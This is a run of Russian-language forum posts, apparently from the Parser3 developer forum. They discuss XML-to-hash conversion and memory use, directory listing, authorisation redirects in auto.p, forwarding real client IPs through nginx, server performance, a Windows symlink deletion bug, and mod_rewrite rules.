					$result.[$node.nodeName][^_xml2hash2[$node]]\
					$i($i+1)\
				}\
			}\
			^if(!$i){\
				$result[$xNode.firstChild.nodeValue]\
			}\
		}\
\
		^case(3){\
			$result[$xNode.nodeValue]\
		}\
\
		^case(9){\
			$result[^_xml2hash2[$xNode.documentElement]]\
		}\
\
		^case[DEFAULT]{\
			^throw[...;...]\
		}\
	}\
#end @_xml2hash2[]\
[/code]\
\
кстати результаты работы методов немного не совпадают, и мне кажется, что ошибка в оригинальном xml2hash. если расскоментировать dstop и смотреть на получившийся хеш, то видим.\
\
xml2hash:\
[code]\
$.0[\
		$.created_at[Wed Jun 16 15:04:36 +0000 2010]\
		$.id[16312661011]\
		...\
		$.in_reply_to_screen_name[void]\
		$.contributors_enabled[\
			$.id[12]\
			$.name[Jack Dorsey]\
[/code]\
\
xml2hash2:\
[code]\
$.0[\
		$.created_at[Wed Jun 16 15:04:36 +0000 2010]\
		$.id[16312661011]\
		...\
		$.in_reply_to_screen_name[void]\
		$.user[\
			$.id[12]\
			$.name[Jack Dorsey]\
[/code]\
\
разница в 3 строке снизу (contributors_enabled/user). судя по xml должно быть user, хотя может я не понял исходную задумку."
"72990","Локальный result у меня также выиграл 4 мб.\
\
С foreachChild интересно получается. Надо будет последнюю версию либы собрать, может там xPath действительно хорошо поправили.\
\
Ради интереса я всё-таки реализовал url=\"http://www.parser.ru/forum/?id=72982\"]озвученный вариант с process[/url]:\
[code]_xml2hash:\
Time: 0.579 s\
MU: 187508 (локальный result)\
\
xslt (прямыми руками*) + process + всякие хитрости:\
Time: TT: 0.063 s\
MU: 22245[/code]\
[i]* если руки не прямы, то память легко растёт до 90 мб :-)[/i]\
\
P.S.: конечно же, process не стоит применять, это как минимум опасно, а если защищаться (tainting и замены через match), то выйдет дорого по времени и памяти на таком объёме данных.\
А вот xslt оказался очень быстрым (опять же, с прямыми руками:-)."
"72991","а это для данного метода очень даже неплохо, потому что он выполняется кучу раз.\
\
\
новая либа проблему не решила, я уже попробовал %-)\
возможно проблема в неэффективных парсерных обёртках для xpath. надо будет смотреть.\
\
\
я для подобных задач (xml->hash) постоянно пользуюсь DOM-ом (на рессурсоёмкость xpath наступил давным давно). да и xpath тут по сути не нужен, ведь тут простой обход дерева.\
\
\
в приведённом ранее методе, использующем DOM операции можно сделать ещё одну небольшую оптимизацию (на обсуждаемом xml-е выигрывается ещё примерно 1 МБ):\
[code]\
-	^if($xNode.nodeName eq \"ids\" || ^xNode.getAttribute[type] eq \"array\"){\
+	^if($xNode.nodeName eq \"ids\" || ($xNode.attributes && ^xNode.getAttribute[type] eq \"array\")){\
[/code]\
\
или даже так (знаю, что это не соответствует тому, о чем говорится в документации):\
\
[code]\
-	^if($xNode.nodeName eq \"ids\" || ^xNode.getAttribute[type] eq \"array\"){\
+	^if($xNode.nodeName eq \"ids\" || $xNode.attributes.type.nodeValue eq \"array\"){\
[/code]"
"72994","я согласен с Ильясом, в list не хватает параметра через который можно было бы выбрать только-папки, только файлы, по-умолчанию как есть."
"72995","кроме того там свой формат информации о языке. \
сделано это, наверное, для однотипности восприятия.\
\
P.S. пример программы на парсер, выводящий \"Hello World\" будет просто шикарно там смотреться :)"
"72996","Не хватает многих мелочей. Но вроде народ как-то не особо жалуется.\
\
Если нужен хитрый листинг папок/файлов и т.д. -- exec, shell script и там уже любые маски/фильтры."
"72997","Есть большой хэш с разнородными данными, собранными из БД (строки, таблицы, вложенные хэши). Хочу преобразовать в xml как например делает это XML::Simple в перл:\
\
[code]\
my $xs = XML::Simple->new();\
my $xml = $xs->XMLout(\\%datahash, 'OutputFile' => $file, 'RootName' => 'document', 'XMLDecl' => 1);\
[/code]\
\
Никто не писал такого класса для парсера?"
"72998","доставание списка файлов делается в две строчки (три -- если выносить в отдельный метод). для директорий -- аналогично.\
\
да, можно наплодить кучу опций, но ведь их никто никогда не запомнит. \
лично мне проще помнить ^file:list, ^таблица.select() и -f/d, для реализации данного функционала.\
\
[code]\
@dirList[sDir][t]\
$t[^file:list[$sDir]]\
$result[^t.select(-d \"$sDir/$t.name\")]\
\
@fileList[sDir][t]\
$t[^file:list[$sDir]]\
$result[^t.select(-f \"$sDir/$t.name\")]\
[/code]"
"73001","Нужно обработать много XML-файлов (порядка 2000) и положить из них инфу в БД. Файлы большие, в среднем 15Mb.\
\
Вот такой простой код (да, просто load, без обработки) достаточно быстро приводит к повешенью парсера\
\
[code]^tFileList.menu{\
	$xDoc[^xdoc::load[$tFileList.name]\
	^Erusage:compact[]\
	^Erusage:print[]\
}\
[/code]\
Без compact это происходит гораздо быстрее. Вот кстати выдержка результата Erusage:print\
\
[code]2010-06-17 20:10:52	memory begin/end/collected: 448/111588/56 KB	calls/compacts: 1/1\
2010-06-17 20:10:54	memory begin/end/collected: 448/210316/76 KB	calls/compacts: 2/2\
2010-06-17 20:10:55	memory begin/end/collected: 448/308152/96 KB	calls/compacts: 3/3\
2010-06-17 20:10:57	memory begin/end/collected: 448/405576/108 KB	calls/compacts: 4/4\
2010-06-17 20:10:59	memory begin/end/collected: 448/503568/116 KB	calls/compacts: 5/5\
2010-06-17 20:11:00	memory begin/end/collected: 448/517848/83484 KB	calls/compacts: 6/6\
...\
2010-06-17 20:11:33	memory begin/end/collected: 448/822576/1625420 KB	calls/compacts: 25/25\
2010-06-17 20:11:35	memory begin/end/collected: 448/834724/1752948 KB	calls/compacts: 26/26\
2010-06-17 20:11:37	memory begin/end/collected: 448/971844/1752956 KB	calls/compacts: 27/27\
[/code]\
\
\
Решил вызывать парсера передавая ему по одному файлу."
"73002","Парсер умеет принимать имя файла из командной строки. В конце-концов даже shell-скрипт можно сгенерировать самим Парсером."
"73003","Как обернуть сам код \"мягко\" или try-еем я и сам знаю.\
Мне интересен вопрос, могу ли я остановить/перенаправить действие интерпретатора именно на стадии auto.p? то есть чтобы не выполнился код написанный в вызываемом .html"
"73004","Этот ответ скорее для Евгения.\
Мне функционала list'а вполне хватает. Просто редко использую.\
\
С моей стороны речь о том, что можно многое внедрять в парсер, а можно оставить на долю разработчика.\
\
В конкретном случае я за select."
"73005","Точно также: try/catch.\
\
Вызов main метода класса MAIN неизбежен, если до этого не вывалиться в exception."
"73006","... тогда все сведется к простому:\
[code]\
auto.p\
@main[]\
  ^if(пользователь авторизован){\
     ^title[]\
     ^body[]\
    ...\
  }{\
     $response:location[/]\
   }\
[/code]"
"73007","С process'ом придётся повозиться, проверил.\
tab-delimited безопаснее и быстрее.\
\
Насколько понимаю задачу: надо из xml выбрать лишь несколько полей и положить их в БД, или передать в конструктор объекта, а потом уже сохранить его поля в БД.\
В обоих случаях нужны сериализованные данные и необходимости получить именно хеш-структуру из xml нет."
"73008","Но ведь фильтр с регуляркой там есть, хотя точно так же можно написать метод с помощью select и match. Мне тоже кажется, что фильтр -d/-f был бы удобнее (и наверно быстрее), что-нибудь типа\
\
[code]^file:list[path;фильтр|опции][/code]\
или\
[code]^file:list[path;фильтр;опции][/code]\
\
где опции - $.files-only(true)"
"73009","Ну там не все так просто, \"управляющий\" скрипт должен обойти директории, вложенные, распаковать по очереди архивы, из них отфильтровать xml-файлы и только потом каждый по очереди передать на обработку. Написать такой батничек(у меня винда) в принципе можно, но там такой феерический синтаксис :(\
\
А на парсере все это написать - раз плюнуть"
"73010","...поскольку в проверке файл/каталог основное время будет тратится на системные вызовы ОС и файловой системы (фактически на вызов функции stat/lstat), поэтому и подход list+select будет не медленнее \"нативного параметра\"."
"73012","Запускал.Тут можно попробывать сделать так: запустить установку phpnuke,во время установки ввести как всегда имя базы данных,затем открыть MySQL Front и создать там такую же базу(пустую)стаким же названием и всё)можно дальше спокойно продолжать ставить.всё должно быть норм,если нет других проблем.У меня так получилось,причём на разных движках.Так же думаю лучше всего ещё и имя пользователя изменить,с целью максимальной безопастности,это тоже можно легко сделать...."
"73013","MySQL Front можно впринципе ещё  заминить на phpmyadmin....\
\
P.S пока писал забыл подписаться...)"
"73017","[code]\
# auto.p\
@auto[]\
^try{\
	^if($GL_group ne 'admin'){\
				   ^throw[access_denied;authform]\
				}\
}{ \
# ниче тут не надо, надо ловить access_denied в \
# @unhandled_exeption\
# и уже там делать $response:location[/]\
# потому, что если сделать тут, то чтобы оно \"как бы сработало\"\
# надо еще добавить $exception.handled(true) \
# но в таком случае метода @main не избежать, поэтому так\
\
 }\
[/code]\
\
правильно же..?"
"73018","Хочу сделать проект, проект под нагрузку (не супер-мупер кластер под highload конечно), но чем быстрее тем лучше. \
Условия - свой выделенный сервер (ну или VPS на начало) - то есть могу поставить свой web-сервер.\
Не нашел что-то в разделе скачать новую версию парсера под 64bit Debian как модуль Апача... Как-то самому собрать такое не под силу.\
Полагаю, что постоянный вызов .cgi-интерпретатора - не кошерно по скорости. \
\
Посоветуйте как более/менее правильно подойти к вопросу скорости обработки запроса? Насколько я помню Парсер как модуль был только под 1.3.x версию Апача, что в принципе бы пошло... Может какие-то есть другие способы, или опыт установки парсера на легкие вебсервера, но суть в том, что хотелось бы держать Парсер как обработчик в памяти, а не грузить его постоянную копию с диска в память... или все равно процесс Парсера отслоится для каждого запроса...ведь? Вообщем теряюсь в догадках..."
"73019","возможны варианты:\
- лично я бы авторизацию вообще в @auto не помещал бы, а добавил бы метод-обёртку в @main. но это в общем ваше дело.\
\
- не обрабатывать исключение в @auto, а делать это в @unhandled_exception (как вы сами догадались). мне такой подход не нравится, т.к. с моей точки зрения, @unhandled_exception предназначен немного не для этого.\
\
- можно перехватывать исключение, обрабатывать, и выставлять какой-нить флаг, глядя на который @main не будет отрабатываться (ага, там добавить проверку).\
\
- а можно при обработке исключения... перезаписывать @main (читать про ^process) на новый, который и будет показывать \"403. Access Denied\"\
\
\
P.S. если не обрабатываете исключение, то и try не нужен :)"
"73020","табы и ентеры для tab-delimited будет выдавать xsl. он-же будет выдавать содержимое, которое было в исходном xml-е.\
\
но вот отличить разные переводы строки будет невозможно, т.к. у них после transform будет одинаковый taint.\
\
т.е. придётся немножко корячиться, выдавая вместо них какие-нить сигнатуры, а потом натравливая taint с replace-ом.\
\
лично я в сторону tab-delimited смотрел бы только если бы было возможно сделать LOAD DATA INFILE. а иначе использовал бы уже имеющийся код, просто убрав xpath из обхода дерева. в этом случае и compact будет лучше работать, т.к. ему не придётся в сотнях мегабайт ковыряться."
"73021","Хотелось бы сделать проверку по IP.\
использую [code]$env:REMOTE_ADDR[/code] для получения IP, но он выдаёт не пользовательский а ip самого сервера.\
\
Админ объяснил так:\
[quot]тесторый сервер находится за nginx\
nginx - за free bsd (FIREWALL)\
на fw проброшен балансировщик на 80 и 443 порты nginx. в нем - публикации /ru/ /com/ /cn/ на внутренний ip 10.101.139.108, на котором и находится парсер, в котором тестовая среда[/quot]\
\
вопрос: так можно как-нибудь узнать реальный ip пользователя?"
"73022","Надо прокинуть от nginx'а на бэкенд IP пользователя:\
[code]\
            proxy_set_header   X-Real-IP $remote_addr;\
            proxy_set_header   Host $http_host;\
            proxy_set_header   X-Forwarded-For    $proxy_add_x_forwarded_for;\
[/code]\
\
А в Апаче смотреть на какой-нибудь $env:HTTP_X_REAL_IP или поставить [url=http://www.stderr.net/apache/rpaf/]mod_rpaf[/url], который правильно установит стандартные переменные."
"73023","Выбор правильного решения сильно зависит от задачи, а не от типа запуска процесса Парсера (скорее всего в общем времени обработки запроса запуск интерпретатора не будет самым существенным этапом). \
\
Простейшие шаги по оптимизации такие (порядок важен):\
- Тщательно подойти к проектированию структуры базы данных и настройке СУБД. Как правило, именно БД является самым узким местом, которое и создает большинство проблем с производительностью. Крайне рекомендую почитать по этой теме книжку [url=http://www.books.ru/shop/books/734220]Шварц, Зайцев, Ткаченко, Заводны. MySQL. Оптимизация производительности, 2-е издание[/url].\
- Акуратно пишите код, не доставайте лишних данных из БД и т.д. и т.п. И не забывайте о профилировании - т.е. анализируйте время исполнения потенциально проблемых участков кода, sql-запросов и пр.\
- Кешируйте все, что возможно. Правда возможно это не всегда, но простейшее кеширование Пасреровским ^cache новостей или rss-лент может дать значительный прирост производительности.\
- Разделите веб-сервер на две части: reverse-proxy (фронтенд, скажем, тот же nginx), которы пересылает запросы на сервер приложений (бэкенд), для которого можно использовать связку apache+parser-cgi или apach13+mod_parser3. Второй вариант дает ощутимый прирост производительности, если в проекте используются xslt-шаблоны. При подобной схеме на фронтенде можно попробовать организовать умное кеширование, которое вообще не будет дергать бэкенд без необходимости. \
\
p.s. Со сборкой Парсера, веб-серверов и СУБД и прочих компонентов вам все-таки прийдется разобраться.                      \
p.p.s. [url=http://dklab.ru/chicken/nablas/50.html]Дмитрий Котеров. Заметки про фронтенды, бэкенды, балансировщики и тому подобное[/url]"
"73025","нет не прокинут. ну я попробую сделать то что посоветовал Sumo."
"73026","Вряд ли у кого-то есть готово решение. Если ты за это возьмешься, то появится :)"
"73027",", что и показал мой тест с process.\
\
taint и replace в разумном подходе не осложнят ситуацию, особенно, если результирующих данных после трансформации будет сильно меньше, чем в исходном xml. А их точно будет меньше хотя бы из-за tab-delimided формата:-)"
"73028","К словам Sumo добавлю, что парсер очень любит терзать hdd:\
- даже если используется модуль Apache, то каждый раз загружаются с диска все файлы с кодом (auto.p и классы)\
- при загруженных в память xslt-шаблонах они всё равно каждый раз проверяются по дате модификации\
- в случае с ^cache, ^file:delete, ^file:move и т.д. выполняется рекурсивный пробег по каталогам, с проверками на их наличие и на наличие в них файлов (пустые каталоги удаляются).\
\
Это всё к тому, что, например, при использовании VPS/VDS в качестве хостинга могут начаться проблемы с IO hdd, т.к. диск в таком случае как коммуналка -- используется несколькими виртуальными машинами.\
На dedicated-сервере такое тоже возможно. Особенно, если сервер один и нём крутится всё: web-сервер, база, статика."
"73029","Да, @auto удобмен тем, что он собирается иерархически, то есть удобно ставить авторизацию на всю папку и все что внутри. А с методом-оберткой согласен я бы тоже так сделал и сделаю в будущем, но сейчас просто надо было корректно \"пропатчить\" очень много наплодилось html-ек. Про переопределение @main ^process-ом это весело, но как крайний метод когда уж совсем по-другому никак. На самом деле у меня есть ключевой метод ^template\
и он все собирает в кучу, вот его и надо подправить К слову говоря Parser по сути нативный шаблонизатор если так посудить, по стилю того, что всё есть print, а код между html то Парсер это мощнейший шаблонизатор-язык"
"73031","К счастью (тьфу-тьфу), концепция моего проекта 99% расчитана на скачивание и лишь 1% возможно на запись, если не реже, причем записи не требуют тут же доступа на чтение, то есть закачка премодерируемая. Таким образом я почти свободно могу плодить сущности паралеллельных серверов, и в \"почтовые часы\" (ненагруженное время) например делать уже подтяжку данных, репликацию там, синхронизацию... То есть про проектирование БД и бэкенды есть некие знания по крайней мере представления в рамках моего проекта должно хватить. Интересует именно мироустройство самого Парсера. Если он так прожорлив на hdd а это естетственно при таком удобстве иерархии файлов и прочего... \
Вижу палку о двух концах:\
\
С одной стороны: \
Кэш-файлы парсера -- не грузят вычисление при рендере страницы, зато I/O много\
\
С другой: БД -- возможно кэширует в памяти частозапрашиваемые данные на отдачу, чем разгружает I/O, но тогда грузится парсер вычислениеями.\
\
Что вижу: Может имеет смысл засунуть как-то кэш страницы как binary или text-данные в БД, а на стороне Парсера реализовать свой кэш-обертку, который будет подгружать с БД как нить (я полагаюсь на БД что она подтянет горячие данные в память) ...\
А может тупо - смонтировать RAM-диск на системе и положить туда кэш-файлы\
и вот тогда уже будет и \"дудочка и корзиночка\"?"
"73032","по поводу переопределения @main -- я говорил серьёзно.\
ведь там не обязательно писать весь код, можно сделать просто:\
\
auto.p\
[code]\
^try{\
	...\
}{\
	^if($exception.type eq \"access.denied\"){\
		$exception.handled(true)\
		^process{^@main[]^#0A^^access_denied[]^#0A}\
	}\
}\
[/code]\
\
и всё. исключение перехвачено и @main[] переопределён, т.е. он не выполнится.\
\
по моему это лучше чем в @unhandled_exception огород городить."
"73033","[quote]\
С одной стороны: \
Кэш-файлы парсера -- не грузят вычисление при рендере страницы, зато I/O много\
[/quote]\
\
думаю не больше, чем загрузить кучку файликов и выполнить код в них.\
чтение из кеша фактически означает несколько дисковых операций по нахождения файла и его считыванию. ну в реалиях чуть сложнее, т.к. ещё есть блокировки, но я уверен на 99.9%, что искать и читать ему придётся меньше, чем в случае выполнения кода."
"73034","[quote]\
- в случае с ^cache, ^file:delete, ^file:move и т.д. выполняется рекурсивный пробег по каталогам, с проверками на их наличие и на наличие в них файлов (пустые каталоги удаляются).\
[/quote]\
\
вроде пробеги по каталогам только при записи, разве нет?\
а cache обычно читается во много раз больше, чем пишется."
"73035","При записи да, проверяется каждый каталог в пути на наличие и, если такого нет, то создаётся.\
\
С cache такая ситуация, проверил:\
Допустим, путь к кеш-фйлу \"level1/level2/my.cache\". Кеш поэкспайрился и начал выполняться код из {}, но по какому-то условию внутри отработал ^cache(0) -- удаляется my.cache и обе родительские папки. При условии, что в них ничего другого не было.\
\
При удалении (file:delete) последнего файла в каталоге удаляется сам каталог.\
Если этот каталог был единственным подкаталогом, то и родитель удаляется. Насчёт последнего точно не уверен, легко проверяется, думаю, работет как и cache.\
\
Рекурсия такая рекурсия:-)"
"73036","Миша хорошо придумал с переопределением @main[]. В вашей ситуации скрорее всего так и стоит поступить.\
\
В свою очередь, я бы не допускал такой запутанной структуры с кучей html и auto.p, а пошёл бы от обратного:\
Apache mod_rewrite -> перенаправление всех запросов к одному файлу (/index.html, например) -> а в нём уже выполнение любой структуры с подключением нужных классов.\
\
Тогда весь @main[] в index.html можно обёрнуть в try/catch с перехватом ошибок и флагом handled(true) (запыл про него написать в первом сообщении)."
"73039","ИМХО, для высоконагруженных проектов лучше написать FastCGI-приложение, а не мучать парсер :-)"
"73040","[quote]\
Допустим, путь к кеш-фйлу \"level1/level2/my.cache\". Кеш поэкспайрился и начал выполняться код из {}, но по какому-то условию внутри отработал ^cache(0) -- удаляется my.cache и обе родительские папки. [b]При условии, что в них ничего другого не было.[/b]\
[/quote]\
\
поржал над условием :))))\
что-то я не припомню, чтобы в папке с кэшом ничего не было.\
такая ситуация по моему бываем только сразу после инсталляции или сразу после ручной очистки кеша."
"73041","[code]\
@main[]\
^^^^\
^^\
Сколько птичек Вы ожидаете увидеть?\
^^\
[/code]\
\
А сколько видете :)"
"73043","^Сколько птичек Вы ожидаете увидеть?\
^"
"73044","Да и не только птичек. Тоже интересный результат - \
\
[code]@main[]\
^$ ^$ ^$ ^$ ^$ ^$ ^$ \
^^ ^^ ^^ ^^ ^^ ^^ ^^[/code]"
"73045","Смысл вообще не о том, что удалится корневая папка с кешом.\
Речь была о рекурсиях:-)"
"73046","просто пример с кешом был совсем не к месту.\
по двум важным причинам:\
- кеш файлы живут долго и обновляются редко (ну... всё относительно). т.е. упоминать о том, что при их перезаписи происходит цикл вверх по каталогам (по моему это всё таки цикл, а не рекурсия) -- незачем\
- обычно файлов в директории с кешом много. вероятность того, что при очередного файла кеша цикл продлиться более 1 итерации вверх по каталогам -- мала"
"73048","Кое-что есть у меня в блоге про установку SAPE на сайтах с использованием Parser - http://www.corporate-solutions.ru/"
"73049","Приветствую всех. Прошу модераторов не удалять тему хотя бы сутки, очень надо...\
Написал интернет-магазин на парсере, работает уже полгода постоянно доделывается-переделывается, сейчас жизненно необходим спецалист для разработки дизайна сайта, прорисовки фонов, набора иконок и прочих графических элементов, подбора шрифтов, также необходимо будет написать файл.css для дальнейшей блочной верстки, а то как то верстка в виде кучи вложенных таблиц и разномастные иконки уже пришло время менять на что-то приличное. Тема интернет-магазин бытовой техники. Кому интересно пишите на ящик serakrd@mail.ru Естесственно не бесплатно (сколько?) Заранее спасибо всем ответившим."
"73050","найти и купить шаблоны будет существенно дешевле, чем услуги дизайнера :)\
\
хотя если нужен конкретный эксклюзив, то этот вариант не подходит."
"73051","Нужен не конкретный эксклюзив, но и не просто шаблон, к сожалению шаблон не решает всех проблемм, например логотип да и изготовление шаблона css для меня составляет определенную сложность... Так что заинтересованным велком..."
"73052","[quote]\
изготовление шаблона css\
[/quote]\
я вас расстрою, но это не к дизайнеру :)"
"73054","а к кому? да и к дизайнеру тоже надо :) а то уже не того...\
Заранее спасибо за ответ."
"73055","Windows 2003 server, parser 3.4.0\
Вот такой простой код:\
[code]@main[]\
$fl[^file:list[/../.src/[b]temp[/b]/;(?i).xml]]\
$filename[/../.src/temp/$fl.name]\
^file:delete[$filename]\
[/code]\
\
Проблема заключается в том, что если каталог [b]temp[/b] является симлинком (soft link), то этот самый симлинк УДАЛЯЕТСЯ, не взирая на то, что в каталоге, на который он ссылается лежат еще файлы (там даже специально лежит файлик .no_del_this_file для исключения такого удаления). Если temp - обычный каталог, то удаляется только файл как положено."
"73056","а если вложенность увеличить?\
например\
[code]$filename[/../.src/temp/not_del/$fl.name][/code]"
"73057","нормальная поддержка системой >= Vista (а у меня, как и ещё 60% всех виндузятников -- XP)\
\
[quote]\
Некоторые программы, в частности - Проводник Windows, не умеют корректно распознавать символические ссылки! В результате при попытке удаления символической ссылки Проводником будет удалено всё содержимое оригинального каталога! Это НЕ ошибка программы NTFS Links, это особенность работы программ, не умеющих правильно работать с символическими ссылками. Проверьте корректность работы вашего приложения, прежде чем использовать его с символическими ссылками!\
[/quote]\
\
забавно.\
\
да, поддержку этого со временем добавить конечно нужно :)"
"73058","Речь о [url=\"http://en.wikipedia.org/wiki/NTFS_junction_point\"]junction point[/url] - они доступны со времен Windows 2000. Начиная с висты (и Server 2008) в винде есть полноценные симлинки, а-ля unix"
"73060","С одной стороны есть куча софта, который древний и под винду, с другой нет специалиста, способного поднять юникс и [i]полноценно[/i] в нем разбирающегося. Я конечно могу поставить какую нибудь убунту, опыт есть небольшой, но что-то стрёмно. Так что приходится приспосабливаться, да и винда не так уж и плоха ;)"
"73062","по приведённой ссылке:\
[quote]\
Warning. Microsoft strongly recommends:\
- Never delete a junction point using Explorer, a del /s command, or other file system utilities that walk recursively into directory trees.\
[/quote]\
[quote]\
Windows 2000/XP/2003\
Windows Explorer\
- If the junction point is sent to the Recycle Bin, the targeted files will look safe, but will be deleted when the Recycle Bin is emptied.\
- Moving the junction point to a different location on the same drive only moves the junction point. However, moving it to another drive turns the junction point into a regular directory and moves all files there (leaving the original targeted directory empty)\
[/quote]\
это, позвольте, называется \"доступны\"?\
imho: по русски это называется не \"доступны\", а матерным словом на \"п\".\
\
[quote]\
С одной стороны есть куча софта, который древний и под винду\
[/quote]\
\
древний софт не умеет с этим нормально работать. ничего удивительного в этом нет. пока можно считать, что парсер в этом отношении -- древний :)"
"73065","то что explorer при удалении симлинка сначала [i]заходит внутрь[/i] и рекурсивно удаляет всё содержимое источника и только потом удаляет сам симлинк - это ведь проблема експлорера, а не симлинков (и да - это \"п..ц\"). Парсер между прочим этой проблемой не страдает, так как честно удаляет ссылку, а не внутренности (наверно используется rmdir). Но вот почему он ее чикает, когда его попросили только удалить один из файликов внутри  - совершенно непонятно. Подозреваю, что ноги растут из фичи удаления каталога, когда он пуст, но доказать не могу, ибо в исходниках пасрера не разобрался, хотя пробовал ;)\
\
Мне вообще показалось, что парсер [i]всегда[/i] делает попытку удаления каталога в котором удалил файл, просто OS ему не дает этого сделать, если каталог не пуст. Но может это у меня дилетантские глюки ;)\
\
Для тех кто наткнется на эту же проблему, до излечения парсера, решение простое - повесить симлинку атрибут readonly (т.е. attrib +r \"папка-ссылка\")"
"73066","а то, что одна из базовых частей системы (эксплорер) не работает с ними, разве не означает, что механизм симлинков в системе «немного кривоват»?\
\
да, парсер сам не занимается проверкой «пустоты» каталога. он даёт системе команду удалить каталог -- система сама должна проверить, есть что в нем или нет.\
\
и по моему это ОС должна «послать», увидев что комманда «rmdir» применяется не к каталогу, а к линку. ведь если попытаться rmdir(файл), система-то посылает!\
\
P.S. проверить что удаляемое -- директория -- не сложно."
"73069","В версии 3.4.0 добавилась возможность [url=\"http://www.parser.ru/docs/lang/props.htm\"]узнать контекст вызова объекта[/url] и обработать различные контексты по-разному.\
Однако, строкового контекста по-прежнему нет.\
\
Хотелось бы поинтересоваться: нет ли в планах?\
Возможно есть какие-то сложности, не позволившие сделать это наравне с добавленными контекстами?\
\
Да, есть минусы: случайная выдача объекта сейчас вызовет ошибку, а при наличии строкового контекста была бы получена строка и никакой ошибки.\
С другой стороны Парсер сам шаблонизатор и все инструкции погружены в текст, иметь строковое представление объекта вполне разумно.\
К тому же ничего не мешает вызывать исключение, если объект не поддерживает строковый контекст, а его в нём вызывают.\
\
Где может пригодится — прежде всего, в отладке.\
Увидеть глазами внутренности просто написав $oObject — очень удобно.\
\
Упрощение сериализации.\
Если объект предназначен для хранения строк, то очень удобно получать данные объекта.\
\
Безусловно, всё это можно делать и сейчас, но «$oObject» гораздо элегантнее, нежели «^oObject.asString[]», как «^if($hMyHash){y}{n}» много элегантнее «^if(^hMayHash._count[]){y}{n}»."
"73070","Есть много директорий, для которых применяются определенные правила.\
Вопрос: [b]Как правильнее сделать, с точки зрения скорости обработки, соединить все правила в корневом .htaccess файле, или разделить их на отдельные и убрать в эти директории, указав контекст вызова (RewriteBase)?[/b]"
"73071","добавление перехвата .as_string/.get_string (как сейчас сделано для .get_hash, as_expression и т.д.) не решит эту задачу.\
\
$var[$oObj] (а также и $oObj в чистом поле) -- это не работа с объектом в строковом контексте (т.е. это не попытка неявного преобразования его в строку). это -- копирование указателя на объект. не нужно говорить, что это поведение менять нельзя, т.к. тогда станет невозможно копировать ссылку на объект.\
\
если реализовать предлагаемое, то обращение в строковом контексте можно получить например при передаче пользовательского объекта какому-либо системному методу, который принимает строковый параметр. внутри делается .get_string, и именно в этом случае произойдёт вызов пользовательского @GET с передачей значения string.\
\
желающие могут попробовать реализовать это самостоятельно. делается тривиально путём копирования VObject::get_hash и заменой в нём всех \"hash\" на \"string\". но... надо быть аккуратным, т.к. это изменение не покрыто тестами.\
\
кроме того, если данную фичу реализовать, это может привести к появлению сложноотлавливаемых ошибок.\
\
[quote]\
Увидеть глазами внутренности просто написав $oObject — очень удобно.\
[/quote]\
это преподнесено так, будто оно заработает самостоятельно.\
увы, всё равно придётся написать сериализатор для объектов каждого типа. это существенно большая работа, чем последующие написания ^oObj.debug_print[] вместо $oObj.\
\
к тому же мне кажется, что для отладки неудобно у каждого класса создавать сериализаторы (который после отладки удалять?). вместо этого проще воспользоваться [URL=http://code.google.com/u/zhizhilkin/]внешним методом dstop[/URL], немного доработав его чтобы он мог показывать пользовательские объекты (теперь это возможно, т.к. есть класс reflection)."
"73072","[quote]$var[$oObj] (а также и $oObj в чистом поле) -- это не работа с объектом в строковом контексте (т.е. это не попытка неявного преобразования его в строку). это -- копирование указателя на объект. не нужно говорить, что это поведение менять нельзя, т.к. тогда станет невозможно копировать ссылку на объект.[/quote]\
\
А я об этом и не говорил.\
Я о таком: $result[the object: $oObject].\
Да, увы, приведения к строке как такового нет, $var[$oObj] занят передачей указателя.\
\
[quote]кроме того, если данную фичу реализовать, это может привести к появлению сложноотлавливаемых ошибок[/quote]\
\
Не думаю, что эти ошибки будут сложнее возможных при неявном приведении типов.\
Системные классы смогут вызывать исключения, если не имеют строкового представления, разве нет?\
Я не о «заработает само», конечно, отслеживание и генерацию исключений нужно добавлять, если такая необходимость есть.\
\
[quote]это преподнесено так, будто оно заработает самостоятельно.\
увы, всё равно придётся написать сериализатор для объектов каждого типа. это существенно большая работа, чем последующие написания ^oObj.debug_print[] вместо $oObj.[/quote]\
\
Само, разумеется, не заработает.\
Но, если считаем, что сериализатор у объекта уже есть, то для получения «$oObj» вместо «^oObj.debug_print[]» нужно будет просто навесить его вызов в @GET[type].\
Совместимость присутствует.\
\
[quote]к тому же мне кажется, что для отладки неудобно у каждого класса создавать сериализаторы (который после отладки удалять?).[/quote]\
\
Не обязательно удалять.\
В том же Python строковое представление есть у всех объектов (информативность не обсуждаем).\
Которое позволяет сделать print что-угодно и бегло оценить с чем имеешь дело.\
Так и тут — некое простое представление объекта.\
\
Про классы отладки знаю, пользуюсь, не всегда, лично мне, хочется их дёргать."
"73073","[quote]\
Я о таком: $result[the object: $oObject].\
[/quote]\
\
это то-же самое. в result пишется текст а потом объект (указатель).\
при реализации предложенного это не будет вызывать сериализатор.\
\
P.S. я в свой предыдущий пост буквально минуту назад успел дописать про отладку."
"73074","[quote]Я о таком: $result[the object: $oObject].\
\
это то-же самое. в result пишется текст а потом объект (указатель).[/quote]\
\
Хм. Тогда я не до конца понимаю.\
Выходит, что строковый контекст будет только в описанном тобой случае, если объект пойдёт параметром?\
\
А так:\
[code]@method[][result]\
$oObject[/code]\
?"
"73075","Если директории физически существуют — [b]логичнее[/b] разложить.\
Это наверняка будет на сотую процента медленнее, зато индексный файл не будет помойкой правил, и всё относящееся к директории будет лежать в ней."
"73076","я написал, когда это будет происходить: при работе _системных_ методов, внутри которых есть вызов .get_string/.as_string. причем это будет происходить не в момент передачи параметра, а когда он будет использоваться внутри.\
\
и с explicit result не будет (и это вообще ничего не говорит о том, что в результате будет строка)."
"73077","если RewriteMap будет применим, то это даст существенное ускорение (а также упрощение), т.к. для модуля map-файл читается один раз и автоматически перечитывается при изменении его во время работы.\
\
P.S. если RewriteMap не применим, но директории существуют -- я поддерживаю G_Z, т.к. в одной большой помойке потом сложно будет разбираться."
"73078","Есть [b].htaccess[/b]:\
\
[code]<IfModule mod_rewrite.c>\
	RewriteEngine On\
	RewriteBase /test/\
	RewriteRule ^asd(\\d+)/?$ ?asd=$1&mod_rewrite=1\
	RewriteRule ^qwe(\\d+)/?$ ?qwe=$1&mod_rewrite=1\
</IfModule>[/code]\
\
Какое правило мне дописать, чтобы при заходе на голый [b]/test/[/b] он заменял на [b]/test/?mod_rewrite=1[/b]\
\
Уже все перепробывал"
"73079","Здравствуйте. \
